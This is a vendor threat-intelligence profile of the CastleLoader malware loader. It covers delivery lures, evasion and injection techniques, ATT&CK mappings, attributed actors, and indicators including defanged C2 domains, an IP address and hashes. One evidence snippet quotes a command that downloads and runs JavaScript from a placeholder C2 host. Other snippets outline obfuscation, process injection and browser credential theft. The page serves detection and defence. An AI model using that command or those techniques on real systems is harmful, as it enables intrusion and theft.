Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
Back to malware
MalwareRansomwareUsed by 4 actors

CastleLoader

CastleLoader is a modular malware loader and malware-as-a-service (MaaS) framework active since at least early 2025 and associated primarily with the threat actor TAG-150, later tracked as GrayBravo. It is used as an initial infection vector to deliver a wide range of secondary payloads, including LummaC2, NetSupport RAT, StealC, RedLine Stealer, Rhadamanthys, DeerStealer, SectopRAT, WarmCookie, HijackLoader, DOILoader, MonsterV2/Aurotun Stealer, and CastleStealer. Reporting also notes links to MuddyWater through shared code-signing certificates, and FakeSet has been observed delivering CastleLoader in recent infections.

Observed delivery methods include ClickFix-style social engineering, fake CAPTCHA and Cloudflare-themed lures, bogus GitHub repositories, malicious installers, and multi-stage chains using Deno or embedded Python runtimes. In one documented chain, CastleLoader was delivered through Inno Setup -> AutoIt -> process hollowing; in others, attackers abused LOLBins such as finger.exe, curl.exe, tar.exe, cmd.exe, and explorer.exe, or used NSIS installers with embedded Python to decrypt and execute CastleLoader shellcode in memory. Campaigns have impersonated free image-editing or background-removal tools, LinkedIn, Indeed, software libraries, browser updates, and document verification systems.

CastleLoader is designed for flexible malware deployment and in-memory task execution. Reported capabilities include host profiling and fingerprinting, collection of username, computer name, domain name, Windows version, architecture, and installed antivirus products, anti-VM and geofencing checks, run-as-admin behavior, screenshot support, fake error display, and prevention of restart. It uses multiple evasion and execution techniques across reports, including heavy obfuscation, API hashing, XOR-encrypted strings, RC4-encrypted payload retrieval, reflective PE loading, direct ntdll system-call usage, process hollowing, ReplaceTextW callback execution, and in-memory shellcode execution. C2 traffic has been described as using RC4 and ChaCha20/ChaCha encryption, with custom serialized tasking containers.

CastleLoader infrastructure has been documented on domains including maybedontbanplease[.]com and trindastal[.]com, with one report identifying maybedontbanplease[.]com as GrayBravo-operated C2 registered on 2026-04-02 and resolving to 38[.]180[.]136[.]139. Other reported infrastructure details include C2 servers commonly exposing functionality on port 80 and admin panels on port 5050, sometimes 9999. Specific indicators mentioned in reporting include the C2 domain maybedontbanplease[.]com, the domain trindastal[.]com, the User-Agent string GoogeBot, the CastleLoader core hash bde21d8be65d31e1c380f2daae2f73c79f3e1f4bca70fb990db6fdf6c3768c92, and the NSIS sample hash 4ba0d3ae41a0ae3143e8c2c3307c24b0d548593f97c79a30c0387b3d62504c31.

Targeting described in the content includes government entities, U.S. government agencies, critical infrastructure, IT firms, logistics companies, and multiple other industries. CastleLoader has been characterized as a stealthy first-stage loader used in attacks against government entities and multiple industries, and multiple activity clusters have been observed leveraging it, reinforcing assessment that it is offered under a MaaS model.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
GrayBravo

CastleStealer is a .NET information stealer that was recently distributed alongside CastleLoader through a ClickFix-style lure masquerading as a free image-editing tool as part of a campaign codenamed BackgroundFix.

via the hacker newsthehackernews.com
MuddyWater

Another malware family linked to MuddyWater is a downloader called FakeSet, which the security researchers say was used in recent infections to deliver CastleLoader. CastleLoader is sold as a service to multiple affiliates and cyber crews.

via register securitytheregister.com
TAG-160

Four distinct threat activity clusters have been observed leveraging a malware loader known as CastleLoader, strengthening the previous assessment that the tool is offered to other threat actors under a malware-as-a-service (MaaS) model.

via the hacker newsthehackernews.com
TAG-161

Four distinct threat activity clusters have been observed leveraging a malware loader known as CastleLoader, strengthening the previous assessment that the tool is offered to other threat actors under a malware-as-a-service (MaaS) model.

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

30 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence3

Infections are most commonly initiated through Cloudflare-themed “ClickFix” phishing attacks or fraudulent GitHub repositories masquerading as legitimate applications.

T1566.002Spearphishing LinkEvidence2

Public reporting indicates that although overall clicks and downloads were limited, the 28.7% infection rate among victims who interacted with malicious links underscores the effectiveness of TAG-150.

Execution

7 techniques
T1059.001PowerShellEvidence3

Victims are tricked into copying and executing malicious PowerShell commands on their own devices, thereby enabling the compromise.

T1059.003Windows Command ShellEvidence1

The initial payload is executed using a command that invokes cmd.exe with a minimized window and uses process output from the caret-obfuscated finger utility.

T1059.006PythonEvidence1

Lastly, the renamed Python interpreter will be used to execute inline Python code.

T1059.007JavaScriptEvidence2

The following stage is executed with the downloaded Deno executable: ... deno.exe run -A http://{C2}/{random_path}.js

T1129Shared ModulesEvidence1

In this case, the bytecode file is another in-memory loader that uses the Windows ctypes interface to execute shellcode received from a local named pipe.

T1204User ExecutionEvidence3

When the user interacts with the fake CAPTCHA box, a payload gets copied to the clipboard via the classic document.execCommand("copy") method.

T1204.002Malicious FileEvidence1

The initial payload is executed using a command that invokes cmd.exe with a minimized window and uses process output from the caret-obfuscated finger utility.

Persistence

1 technique
T1547.009Shortcut ModificationEvidence1

startup_method Persistence mechanism: 1=Registry Run, 2=Startup LNK, 3=Scheduled Task

Privilege Escalation

4 techniques
T1055Process InjectionEvidence1

This will be loaded in the memory of the same host python interpreter.

T1055.004Asynchronous Procedure CallEvidence1

The second task is in-memory only ... launch method 7 for APC injection, fetching net40.bin and injecting the resulting .NET binary into a target process without ever touching disk

T1547.009Shortcut ModificationEvidence1

startup_method Persistence mechanism: 1=Registry Run, 2=Startup LNK, 3=Scheduled Task

T1548Abuse Elevation Control MechanismEvidence1

run_as_admin The malware will relaunch its parent via cmd.exe /c <parent_process> via ShellExecuteW with the "runas" verb to elevate it as Administrator.

Stealth

9 techniques
T1027Obfuscated Files or InformationEvidence2

The payload downloaded by the renamed Python interpreter is another Python script that performs a Cyrillic substitution operation. Prior to Base64 decoding, the script replaces specific Cyrillic characters with their Latin equivalents.

T1036MasqueradingEvidence2

Infections are most commonly initiated through Cloudflare-themed “ClickFix” phishing attacks or fraudulent GitHub repositories masquerading as legitimate applications. The operators employ the ClickFix technique by leveraging domains that imitate software development libraries, online meeting platforms, browser update alerts, and document verification systems.

T1036.005Match Legitimate Resource Name or LocationEvidence1

This directory is also created under %LocalAppData% and mimics a legitimate Python installation structure, depending on the runtime variant being used (embedded CPython or IronPython).

T1055Process InjectionEvidence1

This will be loaded in the memory of the same host python interpreter.

T1055.004Asynchronous Procedure CallEvidence1

The second task is in-memory only ... launch method 7 for APC injection, fetching net40.bin and injecting the resulting .NET binary into a target process without ever touching disk

T1140Deobfuscate/Decode Files or InformationEvidence1

Embedded JavaScript dynamically fetches remote content from this endpoint, applies ROT13 to decode the response... Prior to Base64 decoding, the script replaces specific Cyrillic characters with their Latin equivalents... using Base64 encoding, XOR decryption... The first 64 bytes of the downloaded blob are treated as the RC4 key... all C2 communication is encrypted via the symmetric ChaCha algorithm.

T1218System Binary Proxy ExecutionEvidence1

Despite differences in tooling and runtime selection, both variants follow the same overall execution chain, including LOLBin abuse, portable Python runtime deployment, staged payload retrieval, and in-memory execution of the next-stage malware payload.

T1497Virtualization/Sandbox EvasionEvidence2

anti_vm Run cpuid instruction to attempt to detect hypervisor (VMware, VirtualBox, Parallels) environments.

T1620Reflective Code LoadingEvidence2

After substituting and decoding the Base64 blobs, this Python script implements a classic fileless shellcode, using Base64 encoding, XOR decryption, and direct Windows API calls via ctypes to execute payloads entirely in memory.

Credential Access

1 technique
T1555Credentials from Password StoresEvidence1

For Chromium-family browsers the stealer reads Login Data (the SQLite password store), cookies.sqlite, and Local State ... CryptUnprotectData specifically to decrypt it.

Discovery

3 techniques
T1082System Information DiscoveryEvidence1

The loader issues a get_tasks request to its C2 server using generated identifiers of the infected host... along with system profiling data (username, computer_name, domain_name, windows_version, arch, active_av and active_list).

T1497Virtualization/Sandbox EvasionEvidence2

anti_vm Run cpuid instruction to attempt to detect hypervisor (VMware, VirtualBox, Parallels) environments.

T1518Software DiscoveryEvidence1

get_installed_av Enumerate installed AV products via WMI root\SecurityCenter2 using CoCreateInstance and CoSetProxyBlanket

Collection

2 techniques
T1113Screen CaptureEvidence2

make_screenshots Capture the desktop on bootstrap via the GDI BitBlt pipeline

T1560Archive Collected DataEvidence1

After decryption, the buffer resolves with a ZIP archive containing the resources of the final payload.

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence3

The infrastructure linked to TAG-150 includes both victim-facing Tier 1 components, such as IP addresses and domains used as command-and-control (C2) servers for multiple malware families...

T1071.001Web ProtocolsEvidence2

For the initial configuration fetch, the malware issues a GET request to a hardcoded base URL... the loader contacts only the base endpoint and transmits encrypted data within the HTTP POST request body.

T1105Ingress Tool TransferEvidence5

These malware families are frequently observed as initial infection vectors that deliver a wide range of secondary payloads... CastleRAT's core functionality consists of... downloading and executing additional payloads.

T1573Encrypted ChannelEvidence1

Apart from the malware's initial GET request, all C2 communication is encrypted via the symmetric ChaCha algorithm.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

...a pair of CastleRAT trojan variants enabling system data exfiltration, command execution, and further payload deployment...

INDICATORS OF COMPROMISE

IOCs tracked for this family

117 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
44 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
43 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
30 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app4 days ago
hash.sha256●●●●●●●●●●●●View more in app4 days ago
domain●●●●●●●●●●●●View more in app24 days ago
domain●●●●●●●●●●●●View more in app24 days ago
domain●●●●●●●●●●●●View more in app24 days ago
domain●●●●●●●●●●●●View more in app24 days ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching117

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution4

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping30

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.